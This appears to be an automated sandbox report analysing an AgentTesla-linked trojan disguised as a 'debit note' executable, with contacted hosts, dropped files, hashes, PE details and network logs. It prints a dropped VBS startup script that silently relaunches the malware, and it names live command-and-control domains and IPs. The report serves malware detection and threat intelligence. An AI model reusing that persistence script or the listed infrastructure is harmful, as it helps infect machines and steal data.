https://sectigo.com/CPS0	Debit note -MSR_2024_0024- and Attachments.com.exe, app.exe.0.dr	false		high
https://stackoverflow.com/q/14436606/23354	Debit note -MSR_2024_0024- and Attachments.com.exe, 00000000.00000002.1941516329.0000000006D90000.00000004.08000000.00040000.00000000.sdmp, Debit note -MSR_2024_0024- and Attachments.com.exe, 00000000.00000002.1922724885.0000000003460000.00000004.00000800.00020000.00000000.sdmp, app.exe, 0000000F.00000002.2161010732.0000000002AB0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://account.dyn.com/	Debit note -MSR_2024_0024- and Attachments.com.exe, 00000000.00000002.1934693876.00000000044BC000.00000004.00000800.00020000.00000000.sdmp, Debit note -MSR_2024_0024- and Attachments.com.exe, 00000000.00000002.1934693876.0000000004573000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.2106310737.00000000007B2000.00000040.00000400.00020000.00000000.sdmp, app.exe, 0000000F.00000002.2185813369.0000000003A81000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-netJ	Debit note -MSR_2024_0024- and Attachments.com.exe, 00000000.00000002.1941516329.0000000006D90000.00000004.08000000.00040000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	Debit note -MSR_2024_0024- and Attachments.com.exe, app.exe.0.dr	false		high
http://ocsp.sectigo.com0	Debit note -MSR_2024_0024- and Attachments.com.exe, app.exe.0.dr	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000004.00000002.1836399971.0000000004B36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000004.00000002.1836399971.0000000004B36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000004.00000002.1836399971.0000000004B36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mail.iaa-airferight.com	InstallUtil.exe, 00000008.00000002.2109812273.00000000027E6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000013.00000002.2932475445.0000000002586000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000004.00000002.1839663307.0000000005A47000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000004.00000002.1839663307.0000000005A47000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	Debit note -MSR_2024_0024- and Attachments.com.exe, app.exe.0.dr	false		high
https://github.com/mgravell/protobuf-net	Debit note -MSR_2024_0024- and Attachments.com.exe, 00000000.00000002.1941516329.0000000006D90000.00000004.08000000.00040000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	Debit note -MSR_2024_0024- and Attachments.com.exe, app.exe.0.dr	false		high
https://github.com/Pester/Pester	powershell.exe, 00000004.00000002.1836399971.0000000004B36000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-neti	Debit note -MSR_2024_0024- and Attachments.com.exe, 00000000.00000002.1941516329.0000000006D90000.00000004.08000000.00040000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	Debit note -MSR_2024_0024- and Attachments.com.exe, app.exe.0.dr	false		high
https://aka.ms/pscore6lB	powershell.exe, 00000004.00000002.1836399971.00000000049E1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/11564914/23354;	Debit note -MSR_2024_0024- and Attachments.com.exe, 00000000.00000002.1941516329.0000000006D90000.00000004.08000000.00040000.00000000.sdmp	false		high
https://stackoverflow.com/q/2152978/23354	Debit note -MSR_2024_0024- and Attachments.com.exe, 00000000.00000002.1941516329.0000000006D90000.00000004.08000000.00040000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000004.00000002.1836399971.0000000004B36000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000004.00000002.1839663307.0000000005A47000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000004.00000002.1839663307.0000000005A47000.00000004.00000800.00020000.00000000.sdmp	false		high
http://hlag.cc	Debit note -MSR_2024_0024- and Attachments.com.exe, 00000000.00000002.1922724885.0000000003431000.00000004.00000800.00020000.00000000.sdmp, app.exe, 0000000F.00000002.2161010732.0000000002A81000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Debit note -MSR_2024_0024- and Attachments.com.exe, 00000000.00000002.1922724885.0000000003431000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1836399971.00000000049E1000.00000004.00000800.00020000.00000000.sdmp, app.exe, 0000000F.00000002.2161010732.0000000002A81000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
173.252.167.60	hlag.cc	United States		7381	SRS-6-Z-7381US	false
46.175.148.58	mail.iaa-airferight.com	Ukraine		56394	ASLAGIDKOM-NETUA	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1591184
Start date and time:	2025-01-14 19:17:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 22s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Debit note -MSR_2024_0024- and Attachments.com.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@32/8@2/2
EGA Information:	Successful, ratio: 80%
HCA Information:	Successful, ratio: 93% Number of executed functions: 438 Number of non-executed functions: 52
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 52.149.20.212, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 2828 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
13:17:57	API Interceptor	16x Sleep call for process: Debit note -MSR_2024_0024- and Attachments.com.exe modified
13:18:12	API Interceptor	16x Sleep call for process: powershell.exe modified
13:18:18	API Interceptor	345x Sleep call for process: InstallUtil.exe modified
13:18:26	API Interceptor	13x Sleep call for process: app.exe modified
18:18:17	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\app.vbs

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
173.252.167.60	new order 4504333579.com.exe	Get hash	malicious	AgentTesla	Browse	hlag.cc/panel/uploads/Cugntwk.vdf
	December Reconciliation QuanKang.exe	Get hash	malicious	Unknown	Browse	hlag.cc/panel/uploads/Lpgwaqvxp.dat
	OP53532 Harumi new order.scr.exe	Get hash	malicious	AgentTesla	Browse	hlag.cc/panel/uploads/Otecu.pdf
46.175.148.58	new order 4504333579.com.exe	Get hash	malicious	AgentTesla	Browse
	invnoIL438805.exe	Get hash	malicious	AgentTesla	Browse
	jKqPSehspS.exe	Get hash	malicious	AgentTesla	Browse
	A6AHI7Uk18.exe	Get hash	malicious	AgentTesla	Browse
	MyzWeEOlqb.exe	Get hash	malicious	AgentTesla	Browse
	5hD3Yjf7xD.exe	Get hash	malicious	AgentTesla	Browse
	xJZHVgxQul.exe	Get hash	malicious	AgentTesla	Browse
	jG8N6WDJOx.exe	Get hash	malicious	AgentTesla	Browse
	HGhGAjCVw5.exe	Get hash	malicious	AgentTesla	Browse
	0PPJsQE4wD.exe	Get hash	malicious	AgentTesla	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mail.iaa-airferight.com	new order 4504333579.com.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	invnoIL438805.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	jKqPSehspS.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	A6AHI7Uk18.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	MyzWeEOlqb.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	5hD3Yjf7xD.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	xJZHVgxQul.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	jG8N6WDJOx.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	HGhGAjCVw5.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	0PPJsQE4wD.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
hlag.cc	new order 4504333579.com.exe	Get hash	malicious	AgentTesla	Browse	173.252.167.60
	December Reconciliation QuanKang.exe	Get hash	malicious	Unknown	Browse	173.252.167.60
	OP53532 Harumi new order.scr.exe	Get hash	malicious	AgentTesla	Browse	173.252.167.60

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ASLAGIDKOM-NETUA	new order 4504333579.com.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	invnoIL438805.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	jKqPSehspS.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	A6AHI7Uk18.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	MyzWeEOlqb.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	5hD3Yjf7xD.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	xJZHVgxQul.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	jG8N6WDJOx.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	HGhGAjCVw5.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
	0PPJsQE4wD.exe	Get hash	malicious	AgentTesla	Browse	46.175.148.58
SRS-6-Z-7381US	new order 4504333579.com.exe	Get hash	malicious	AgentTesla	Browse	173.252.167.60
	elitebotnet.mpsl.elf	Get hash	malicious	Mirai, Okiru	Browse	216.183.115.7
	December Reconciliation QuanKang.exe	Get hash	malicious	Unknown	Browse	173.252.167.60
	OP53532 Harumi new order.scr.exe	Get hash	malicious	AgentTesla	Browse	173.252.167.60
	2.elf	Get hash	malicious	Unknown	Browse	69.164.100.195
	DEMONS.x86.elf	Get hash	malicious	Unknown	Browse	67.217.246.240
	http://tubnzy3uvz.top/1.php?s=527	Get hash	malicious	Unknown	Browse	67.217.228.118
	http://poubnxu3jubz.top/1.php	Get hash	malicious	Unknown	Browse	67.217.228.118
	http://poubnxu3jubz.top/1.php	Get hash	malicious	Unknown	Browse	67.217.228.118
	splspc.elf	Get hash	malicious	Unknown	Browse	173.252.166.226

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.379828835936797
Encrypted:	false
SSDEEP:	48:tWSU4xympjgZ9tz4RIoUl8NPZHUQ7u1iMuge//ZLv0UyuR:tLHxvCZfIfSKRHHOug4v1R
MD5:	670CB347632711CCAF0AF4240D79A177
SHA1:	D02810D2C910A49DD99B725C8E4572FB94E0CE00
SHA-256:	116BFE15D532ABFEDCC633588079C5B9A354C41B28B19F783007F08F4E50D988
SHA-512:	1EB62CE2C283F2F322E34C1EB47C51559E7B95E7F0057F226D3F335B975BDE26E6D6F046546E692B3D36F1C878284E8F50D8C12CD4EB367994BC51914C99D97A
Malicious:	false
Preview:	@...e.................................,..............@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.....................@.[8]'.\........System.Data.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServicesH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bfwiqfsi.xzm.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hqyah5qh.bu0.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nsijr1mf.1lx.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xtgjbesy.trd.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\app.vbs

Download File

Process:	C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	78
Entropy (8bit):	4.671960277426808
Encrypted:	false
SSDEEP:	3:FER/n0eFHHot+kiEaKC5jEnn:FER/lFHIwknaZ5jI
MD5:	3EE6BEE45DEA696B7449D887CB4BBF90
SHA1:	6B9DC9B8E67B1ED304CCA89436DD61D789DB6D23
SHA-256:	0BA57CDBA15F6411B349D524D6C06C9E00D823894609AFA8C6C61418FF65B03B
SHA-512:	6393BE024015B0DCCF080757F4395AE124B697FD66D4D4837DF6C6D0339902B4231CC34B08518D21189B89312E6B91488EA482EBDB5344DF4CD2D784F9DCF186
Malicious:	true
Preview:	CreateObject("WScript.Shell").Run """C:\Users\user\AppData\Roaming\app.exe"""

C:\Users\user\AppData\Roaming\app.exe

Download File

Process:	C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	48032
Entropy (8bit):	6.213931570119791
Encrypted:	false
SSDEEP:	768:WZ6LWN+ybM6EAKXbNgotkHxPe9rB5I308Cslw4BcriEsO:W5dopgKkHxPGrB5Ik3T4iCO
MD5:	58A83CBFBD24495D3427075426C7BB6C
SHA1:	3B3EF5D4AB2ADC7824DD7EC26E8CC569F03E5189
SHA-256:	CD9EE0F4A8AD57856D636DD1F2F34C2196804791BFF45332D729203CE1459226
SHA-512:	820B6B992167303C33E96DCA7ACBEF26B80698B63AE5FF61CFE919FC34BA6E10460F5264E7E33A433AA8407C0A3F2B482618E1DA19F7369A6B07D40CB41BB871
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....I.g................................. ........@.. ....................................`.................................L...J........................+........................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B................\|.......H........U..`O............................................................(%.....(%....0..x.......8%...8&...8+...~....%-.&~......k...s&...%.....8....8....8....8....8....~....%-.&~......l...s'...%.....8....~....%-.&~......m...s(...%.....(...+(...+..-..+..(......,..-..+..o+....(q...o,....sh...%.o-...o[...%.-..+..o+...}....%.o....o]...%.-..+..o+...o,...o_...%.oa...%.oc...%.o/...(p...oe...%.}....*.8....o0...8....o1...8....(...+8.....8.....8....o0...8....o3...8....(...+8......-.

C:\Users\user\AppData\Roaming\app.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	6.213931570119791
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Debit note -MSR_2024_0024- and Attachments.com.exe
File size:	48'032 bytes
MD5:	58a83cbfbd24495d3427075426c7bb6c
SHA1:	3b3ef5d4ab2adc7824dd7ec26e8cc569f03e5189
SHA256:	cd9ee0f4a8ad57856d636dd1f2f34c2196804791bff45332d729203ce1459226
SHA512:	820b6b992167303c33e96dca7acbef26b80698b63ae5ff61cfe919fc34ba6e10460f5264e7e33a433aa8407c0a3f2b482618e1da19f7369a6b07d40cb41bb871
SSDEEP:	768:WZ6LWN+ybM6EAKXbNgotkHxPe9rB5I308Cslw4BcriEsO:W5dopgKkHxPGrB5Ik3T4iCO
TLSH:	6F235AC4939955A2E9E70F3EB9E397531F34A2218F06CBCB5D4C40580E7A3C969637A3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....I.g................................. ........@.. ....................................`................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x40a596
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x67864906 [Tue Jan 14 11:22:46 2025 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Sectigo Public Code Signing CA R36, O=Sectigo Limited, C=GB
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	10/05/2023 01:00:00 10/05/2025 00:59:59
Subject Chain	CN=FH Manager, O=FH Manager, S=Tel Aviv, C=IL
Version:	3
Thumbprint MD5:	2214F8696E46186A732C752431BB8A23
Thumbprint SHA-1:	4E42EBA03C9C174C27B2408A5BCBEBE23CDD9BE4
Thumbprint SHA-256:	2D2BEB31D5FDB0CC1BAF9FF07D84C8BB2013E96180FA0DD33D5C3569E01708FD
Serial:	00C1382AFD3AA99CB6A01ABA4BCB551D26

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa54c	0x4a	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc000	0x5ae	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x9000	0x2ba0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xe000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x859c	0x8600	5daad51418e7986e6a251ba9e808f29b	False	0.48370452425373134	data	5.63711349994725	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xc000	0x5ae	0x600	5b98d163025a612f8ecf5b3d71e2adf5	False	0.423828125	data	4.140865923527478	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xe000	0xc	0x200	154d60db6bff012b4ac53db65c2b2b64	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xc05c	0x32c	data			0.4236453201970443
RT_MANIFEST	0xc3c4	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 19:17:58.866194963 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:58.871115923 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:58.871201038 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:58.912240982 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:58.917160034 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.452898026 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.453145027 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.453156948 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.453169107 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.453178883 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.453190088 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.453200102 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.453267097 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.453334093 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.457444906 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.457458019 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.457469940 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.457504988 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.457530022 CET	49733	80	192.168.2.4	173.252.167.60
Jan 14, 2025 19:17:59.458158970 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.458170891 CET	80	49733	173.252.167.60	192.168.2.4
Jan 14, 2025 19:17:59.458183050 CET	80	49733	173.252.167.60	192.168.2.4
